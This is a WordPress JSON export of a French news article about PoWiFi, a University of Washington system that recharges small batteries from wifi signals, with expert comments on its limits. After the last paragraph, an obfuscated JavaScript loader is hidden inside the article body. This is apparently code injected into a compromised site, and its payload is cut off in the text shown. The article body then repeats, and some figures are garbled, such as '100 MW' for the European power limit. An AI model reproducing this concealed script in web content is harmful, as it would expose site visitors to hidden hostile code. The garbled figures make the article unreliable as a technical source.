{"id":10587,"date":"2015-07-31T00:10:42","date_gmt":"2015-07-30T22:10:42","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10587"},"modified":"2021-08-04T10:13:50","modified_gmt":"2021-08-04T08:13:50","slug":"un-nouveau-systeme-pour-recharger-les-batteries-via-wifi","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/un-nouveau-systeme-pour-recharger-les-batteries-via-wifi\/","title":{"rendered":"Un nouveau syst\u00e8me pour recharger les batteries via wifi"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Un nouveau syst\u00e8me pour recharger les batteries via wifi\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p><span style=\"color: #000000;\">Une \u00e9quipe de chercheurs de l&#8217;Universit\u00e9 de Washington \u00e0 Seattle (USA) a utilis\u00e9 un routeur pour charger les batteries \u00e0 distance. \u00c0 l&#8217;heure actuelle, ils sont parvenus \u00e0 alimenter des dispositifs de puissance tels que ceux utiliser par de petits appareils \u00e9lectrom\u00e9nagers et les t\u00e9l\u00e9commandes \u00e0 distance (les piles du nickel-m\u00e9tal hydrure) et les piles des horloges (petites batteries au lithium-ion). Le magazine MIT Technological Review a abord\u00e9 l&#8217;\u00e9tude dans un article, sous un titre ambitieux: \u00ab Alimenter les prochains milliards de dispositifs avec le wifi \u00bb.<\/span><\/p>\n<p><strong><em><span style=\"color: #000000;\">Pour recharger la batterie d&#8217;un t\u00e9l\u00e9phone mobile il serait n\u00e9cessaire d&#8217;avoir une puissance d&#8217;un million de fois sup\u00e9rieure.<\/span><\/em><\/strong><\/p>\n<p><span style=\"color: #000000;\">Le syst\u00e8me pr\u00e9sent\u00e9 s&#8217;appelle PoWiFi (Power over wifi, acronyme anglais de \u00ab alimentation via wifi \u00bb) et fonctionne jusqu&#8217;\u00e0 une distance pouvant atteindre 8,5 m\u00e8tres. Pour ce faire, les chercheurs ont cr\u00e9\u00e9 un syst\u00e8me qui collecte l&#8217;\u00e9nergie du wifi, et alimente en permanence des batteries.<\/span><\/p>\n<p><span style=\"color: #000000;\">Les chercheurs avancent que cet exploit est compatible avec une utilisation r\u00e9guli\u00e8re du wifi, et qu&#8217;il ne compromet pas significativement ses performances, et ce que se soit pour connecter les dispositifs au r\u00e9seau ou entre un dispositif et l&#8217;autre. N\u00e9anmoins, selon le professeur des radiocommunications de l&#8217;Universit\u00e9 Polytechnique de Madrid, Jos\u00e9 Manuel Riera, cette hypoth\u00e8se sera pratiquement possible, dans le seul cas des \u00ab maisons isol\u00e9es et \u00e9loign\u00e9es les uns des autres \u00bb, comme les zones r\u00e9sidentielles aux \u00c9tats-Unis, mais pas dans les appartements et les \u00e9tages o\u00f9 vivent de nombreux europ\u00e9ens, confront\u00e9s au probl\u00e8me d\u2019interf\u00e9rence de connexion avec les voisins. &#8220;Lorsque nous n&#8217;utilisons pas l&#8217;Internet, notre routeur utilise uniquement 1 % du temps de transmission. Se sont des d\u00e9connexions de milli\u00e8mes de secondes, sur lesquelles s&#8217;appuient d&#8217;autres r\u00e9seaux sans fil pour transmettre &#8221; explique Riera. L&#8217;utilisation pour produire l\u2019\u00e9nergie, en retour, exige que le routeur transmette l\u2019\u00e9nergie d&#8217;une mani\u00e8re continue. &#8220;Dans un environnement ou l&#8217;utilisation est accrue, comme une universit\u00e9 ou une entreprise, le dispositif n&#8217;est pas applicable,&#8221; illustre l&#8217;enseignant.<\/span><\/p>\n<p><span style=\"color: #000000;\">Contrairement aux appareils qui utilisent les fr\u00e9quences, de t\u00e9l\u00e9vision et de t\u00e9l\u00e9phonie mobile, ce syst\u00e8me fonctionne avec la bande de fr\u00e9quence ISMC (y compris le wifi, mais aussi le Bluetooth et ZigBee). La l\u00e9gislation en Europe et aux \u00c9tats-Unis ne limite pas son utilisation aux communications, et donc pourrait \u00e9galement \u00eatre utilis\u00e9e pour alimenter les petits appareils, selon les auteurs.<\/span><\/p>\n<p><span style=\"color: #000000;\">Les limites de puissance en Europe (100 MW) et aux \u00c9tats-Unis (\u00e0 1 watt, sous certaines conditions) sont loin de la puissance n\u00e9cessaire pour recharger un Smartphone. Un smartphone n\u00e9cessite 4 ou 5 volts. Ce qui signifie que pour charger sa batterie via ce syst\u00e8me, il doit \u00e9mettre une puissance, un million de fois sup\u00e9rieure.<\/span><\/p>\n<p><strong><em><span style=\"color: #000000;\">Le nouveau syst\u00e8me peut fournir l&#8217;alimentation jusqu&#8217;\u00e0 une distance maximale de 8.5 m\u00e8tres.<\/span><\/em><\/strong><\/p>\n<p><span style=\"color: #000000;\">Par ailleurs, les ondes qu&#8217;\u00e9met un routeur, sont diffus\u00e9es dans toutes les directions (c&#8217;est cette qualit\u00e9 qui leur permet de connecter des p\u00e9riph\u00e9riques en diff\u00e9rents endroits d&#8217;une maison), mais cette dispersion constitue une entrave, qui va \u00e0 l&#8217;encontre de la puissance qu&#8217;il est capable d\u2019\u00e9mettre.<\/span><\/p>\n<p><span style=\"color: #000000;\">Malgr\u00e9 les contraintes, selon le professeur de g\u00e9nie \u00e9lectronique \u00e0 l&#8217;Universit\u00e9 Polytechnique de Valence, Jos\u00e9 S\u00e1nchez-Dehesa, la recherche constitue \u00ab un pas important \u00bb pour recharger toutes sortes de capteurs de basse consommation, tels que ceux utilis\u00e9s en domotique et d&#8217;autres applications de l&#8217;Internet. En pratique, l&#8217;\u00e9tude a \u00e9t\u00e9 achev\u00e9e avec deux nouveaux appareils &#8211; une cam\u00e9ra et un capteur de temp\u00e9rature &#8211; qui sont parfaitement recharg\u00e9s gr\u00e2ce au nouveau syst\u00e8me.<\/span><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Un nouveau syst\u00e8me pour recharger les batteries via wifi\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Une \u00e9quipe de chercheurs de l&#8217;Universit\u00e9 de Washington \u00e0 Seattle (USA) a utilis\u00e9 un routeur pour charger les batteries \u00e0 distance. \u00c0 l&#8217;heure actuelle, ils sont parvenus \u00e0 alimenter des dispositifs de puissance tels que ceux utiliser par de petits appareils \u00e9lectrom\u00e9nagers et les t\u00e9l\u00e9commandes \u00e0 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